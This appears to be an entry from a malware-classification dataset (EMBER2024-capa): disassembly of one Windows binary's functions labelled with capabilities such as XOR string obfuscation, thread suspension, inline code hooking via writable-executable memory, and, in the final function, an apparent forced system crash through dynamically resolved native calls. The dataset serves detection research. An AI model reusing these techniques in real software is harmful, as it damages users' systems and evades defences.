joyce8/EMBER2024-capa huggingface dataset:
Function at 0x678581b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [0x67b38b68]
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov eax, dword [esi + 0x3e28]
mov ecx, dword [ebp + 8]
push edi
mov byte [eax + 0xa8], 1
mov eax, dword [esi + 0x3e28]
mov dword [ebp - 8], eax
cmp byte [eax + 0xab], 0
je 0x678581f3
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [esi + 0x5be4]
mov ebx, dword [esi + 0x5bec]
push edx
push 0
push ecx
push edi
push ebx
call fcn.677dc0d0
add esp, 0x14
test ebx, ebx
je 0x67858221
cmp eax, 0xffffffff
je 0x6785821a
cmp eax, edi
jl 0x6785821d
lea eax, [edi - 1]
mov byte [eax + ebx], 0
mov ecx, dword [esi + 0x5bec]
lea edx, [ebp - 4]
mov ebx, dword [ebp - 8]
add eax, ecx
mov edi, dword [ebp - 4]
mov esi, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebx + 0xe0]
mov ebx, dword [ebx + 0xe8]
mov dword [ebp - 4], edi
mov ebx, dword [ebx + eax*4 - 4]
not ebx
movzx eax, byte [edx]
lea edx, [edx + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [ecx*4 + 0x67952818]
sub esi, 1
jne 0x67858252
mov eax, dword [0x67b38b68]
not ebx
cmp dword [eax + 0x3e5c], ebx
jne 0x6785828a
push ecx
push edi
lea edx, [esi + 0xc]
mov ecx, ebx
call fcn.677fe2f0
add esp, 8
push dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
mov ecx, ebx
push dword [ebp - 0x10]
call fcn.678582b0
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x6785d930
Capabilities:
Hash data with crc32

Disassembly:
push ecx
test dword [ecx + 0xc], 0x100000
push ebx
push esi
push edi
mov edi, edx
je 0x6785d9a2
mov cl, byte [edi]
lea esi, [edi + 1]
or eax, 0xffffffff
test cl, cl
je 0x6785d978
or edi, 0xffffffff
nop
cmp cl, 0x23
jne 0x6785d95f
cmp byte [esi], cl
jne 0x6785d95f
cmp byte [esi + 1], cl
cmove eax, edi
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x67952818]
test cl, cl
jne 0x6785d950
mov ecx, dword [0x67b38b68]
not eax
cmp dword [ecx + 0x3e74], eax
jne 0x6785d98e
mov dword [ecx + 0x3e78], eax
cmp dword [ecx + 0x3e9c], eax
jne 0x6785d9e7
mov byte [ecx + 0x3ea0], 1
pop edi
pop esi
pop ebx
pop ecx
ret
mov esi, dword [0x67b38b68]
xor edx, edx
mov eax, dword [esi + 0x3e28]
mov ecx, dword [eax + 0xe0]
mov eax, dword [eax + 0xe8]
push dword [eax + ecx*4 - 4]
mov ecx, edi
call fcn.677dea60
mov ebx, eax
add esp, 4
cmp dword [esi + 0x3e5c], ebx
jne 0x6785d9e5
push ecx
push edi
mov edx, 0xb
mov ecx, ebx
call fcn.677fe2f0
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x67868ab0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x47], 0
je 0x67868ad2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x70]
inc eax
xor byte [edx], cl
cmp eax, 0x46
jb 0x67868ac0
mov byte [esi + 0x47], 0
mov eax, esi
pop esi
ret

Function at 0x67868ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0xa], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67868b27
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 9
jb 0x67868b15
mov byte [esi + 0xa], 0
lea ecx, [esi + 9]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67868b56
push 9
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x67868b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 6], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67868bb7
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 5
jb 0x67868ba5
mov byte [esi + 6], 0
lea ecx, [esi + 5]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67868be6
push 5
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x67868c00
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793728d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x20
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov esi, dword [ebx + 8]
mov dword [ebp - 0x18], ecx
cmp byte [esi + 7], 0
je 0x67868c63
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 6
jb 0x67868c51
mov byte [esi + 7], 0
lea eax, [esi + 6]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, eax
je 0x67868c95
push 6
push esi
lea ecx, [ebp - 0x30]
call fcn.677d7ac0
mov dword [ebp - 4], 1
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
jb 0x67868ca7
mov edi, dword [edi]
push eax
push edi
push ecx
lea ecx, [ebp - 0x30]
call fcn.6786c690
mov esi, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x67868d20
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x67868d16
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x67868d16
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.67934867
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x67868e30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x67868e52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x70]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x67868e40
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret

Function at 0x67868e60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x136], 0
je 0x67868e87
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 0x70]
inc eax
xor byte [edx], cl
cmp eax, 0x135
jb 0x67868e70
mov byte [esi + 0x136], 0
mov eax, esi
pop esi
ret
Function at 0x678698d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0xd], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67869917
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 0xc
jb 0x67869905
mov byte [esi + 0xd], 0
lea ecx, [esi + 0xc]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67869946
push 0xc
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x67869a50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0xc], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67869a97
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 0xb
jb 0x67869a85
mov byte [esi + 0xc], 0
lea ecx, [esi + 0xb]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67869ac6
push 0xb
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x67869ae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0x10], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67869b27
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 0xf
jb 0x67869b15
mov byte [esi + 0x10], 0
lea ecx, [esi + 0xf]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67869b56
push 0xf
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x67869b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 9], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x67869bb7
xor edx, edx
lea ecx, [esi + edx]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 8
jb 0x67869ba5
mov byte [esi + 9], 0
lea ecx, [esi + 8]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x67869be6
push 8
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x6786a090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679362f0
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp byte [esi + 0x12], 0
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edi
je 0x6786a0d7
xor edx, edx
lea ecx, [edx + esi]
lea eax, [edx - 0x70]
inc edx
xor byte [ecx], al
cmp edx, 0x11
jb 0x6786a0c5
mov byte [esi + 0x12], 0
lea ecx, [esi + 0x11]
mov dword [edi], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov dword [ebp - 4], 0xffffffff
cmp esi, ecx
je 0x6786a106
push 0x11
push esi
mov ecx, edi
call fcn.677d7ac0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x67875b00
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x28], edx
push edi
xor ebx, ebx
push ebx
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x67875c29
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32First]
test eax, eax
je 0x67875c42
mov ebx, dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0x24], 1
nop dword [eax]
cmp dword [ebp - 0x20], 0x10
jb 0x67875be5
call ebx
cmp dword [ebp - 0x14], eax
jne 0x67875be5
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x67875be5
mov edx, dword [esi]
test edx, edx
jne 0x67875bb1
push 0x200
push edx
push dword [0x67b38c60]
mov dword [esi + 4], 0x80
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x67875c0a
jmp 0x67875bd9
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x67875bd9
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x67b38c60]
call dword [sym.imp.kernel32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x67875c0a
mov dword [esi], edx
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.kernel32.dll_Thread32Next]
test eax, eax
jne 0x67875b70
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x12
je 0x67875c3f
mov eax, dword [esi]
xor ebx, ebx
test eax, eax
je 0x67875c42
push eax
push ebx
push dword [0x67b38c60]
call dword [sym.imp.kernel32.dll_HeapFree]
push edi
mov dword [esi], ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
mov eax, 9
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x24]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
test ebx, ebx
je 0x67875c29
cmp dword [esi], 0
je 0x67875c99
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x67875c99
nop dword [eax]
mov eax, dword [esi]
push dword [eax + ebx*4]
push 0
push 0x5a
call dword [sym.imp.kernel32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x67875c93
push edi
call dword [sym.imp.kernel32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 0x28]
mov ecx, edi
call fcn.67875990
add esp, 4
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x67875c60
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.679343f5
mov esp, ebp
pop ebp
ret
Function at 0x67875cb0
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx]
test eax, eax
je 0x67875cfe
push esi
xor esi, esi
cmp dword [ebx + 8], esi
jbe 0x67875cee
push edi
mov eax, dword [ebx]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.kernel32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x67875ce5
push edi
call dword [sym.imp.kernel32.dll_ResumeThread]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
inc esi
cmp esi, dword [ebx + 8]
jb 0x67875cc2
mov eax, dword [ebx]
pop edi
push eax
push 0
push dword [0x67b38c60]
call dword [sym.imp.kernel32.dll_HeapFree]
pop esi
pop ebx
ret

Function at 0x67875d00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
mov ebx, edx
push edi
add esi, dword [0x67b731a0]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
jne 0x67875d61
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x67875d82
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x67875da3
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x67875da3
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x67875d9d
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x67875da3
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.kernel32.dll_VirtualProtect]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_FlushInstructionCache]
mov al, byte [esi + 0x14]
and bl, 1
mov cl, bl
and al, 0xfd
add cl, cl
shl bl, 2
or cl, al
xor eax, eax
and cl, 0xfb
or cl, bl
mov byte [esi + 0x14], cl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.679343f5
mov esp, ebp
pop ebp
ret
Function at 0x678765d0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6793823e
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x67ad7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], edx
mov esi, ecx
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp + 8]
mov eax, 0xaaaaaaab
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], 0
mov ebx, dword [0x67956c68]
lea ecx, [ecx + 2]
mov dword [esi], 0
mul ecx
shr edx, 1
shl edx, 2
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 4], 0
mov ecx, esi
push edx
mov dword [ebp - 0x1c], 1
call fcn.67876740
mov eax, dword [ebp + 8]
test eax, eax
je 0x67876725
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], 2
lea edi, [ecx + 2]
not ecx
mov dword [ebp - 0x10], ecx
lea ecx, [eax - 1]
mov eax, 0xaaaaaaab
mul ecx
mov eax, edx
shr eax, 1
inc eax
mov dword [ebp - 0x18], eax
nop
movzx eax, byte [edi - 2]
mov ecx, esi
shr eax, 2
movzx eax, byte [eax + ebx]
push eax
call fcn.6786a480
movzx ecx, byte [edi - 2]
mov eax, dword [ebp - 0x10]
and ecx, 3
add eax, edi
shl ecx, 4
cmp eax, dword [ebp + 8]
jae 0x678766f6
movzx eax, byte [edi - 1]
shr eax, 4
add eax, ecx
mov ecx, esi
movzx eax, byte [eax + ebx]
push eax
call fcn.6786a480
movzx ecx, byte [edi - 1]
mov eax, dword [ebp + 8]
and ecx, 0xf
shl ecx, 2
cmp dword [ebp - 0x14], eax
jae 0x678766ef
movzx eax, byte [edi]
shr eax, 6
add eax, ecx
mov ecx, esi
movzx eax, byte [eax + ebx]
push eax
call fcn.6786a480
movzx eax, byte [edi]
and eax, 0x3f
movzx eax, byte [eax + ebx]
push eax
jmp 0x6787670d
movzx eax, byte [ecx + ebx]
push eax
jmp 0x67876704
movzx eax, byte [ecx + ebx]
mov ecx, esi
push eax
call fcn.6786a480
push 0x3d
mov ecx, esi
call fcn.6786a480
push 0x3d
mov ecx, esi
call fcn.6786a480
add dword [ebp - 0x14], 3
add edi, 3
sub dword [ebp - 0x18], 1
jne 0x67876680
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x67877880
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x679383ed
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
cmp byte [0x67b38b65], 0
mov esi, dword [0x67b38c6c]
je 0x678778ee
push 0xa
lea ecx, [ebp + 8]
mov dword [ebp - 0x14], 0
call fcn.6786a480
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x14]
push 0
push ecx
push dword [ebp + 0x18]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push dword [esi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x67877924
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x6787791a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x6787791a
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.67934867
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret 0x18
Function at 0x6787df90
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x6787dfb2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x6a]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x6787dfa0
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret

Function at 0x6787ed40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x67938cfd
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov eax, 0x7fffffff
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 3
jb 0x6787ee95
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
push 3
push 0x67abc920
push ecx
push dword [ebp - 0x68]
lea ecx, [ebp - 0x28]
call fcn.677d98a0
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
xorps xmm0, xmm0
mov dword [ebp - 0x4c], 0
cmovae eax, dword [ebp - 0x28]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x64]
push eax
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
mov dword [ebp - 0x64], 0x3c
mov dword [ebp - 0x60], 0x40
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0x67abc924
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.shell32.dll_ShellExecuteExA]
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x6787ee34
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x6787ee2a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x6787ee6c
push edx
push ecx
call fcn.67934867
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp edx, 0x10
jb 0x6787ee7c
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x6787ee72
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x6787ee72
call dword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.67934867
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
call fcn.677d6990
int3
Function at 0x6787efd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x67ad7034]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x67ac57c0]
xor ecx, ecx
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x1009f9e
lea eax, [ecx - 0x17]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 0x12
jb 0x6787eff4
mov byte [ebp - 0x1d], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0xfff6e5fe
mov word [ebp - 0x10], 0xf8
mov byte [ebp - 0xe], 1
lea eax, [ecx - 0x70]
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 5
jb 0x6787f018
push esi
mov esi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
lea eax, [ebp - 0x14]
push edi
push eax
mov byte [ebp - 0xe], 0
call esi
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
movaps xmm0, xmmword [0x67ac5c70]
mov edi, eax
movups xmmword [ebp - 0x44], xmm0
mov word [ebp - 0x34], 0x100
xor ecx, ecx
lea eax, [ecx - 0x6a]
xor byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0x10
jb 0x6787f057
mov byte [ebp - 0x33], 0
xor ecx, ecx
mov dword [ebp - 0x1c], 0xfff6e5fe
mov word [ebp - 0x18], 0xf8
mov byte [ebp - 0x16], 1
nop dword [eax + eax]
lea eax, [ecx - 0x70]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x6787f080
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x16], 0
push eax
call esi
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test edi, edi
je 0x6787f0b4
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call edi
test esi, esi
je 0x6787f0db
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.679343f5
mov esp, ebp
pop ebp
ret
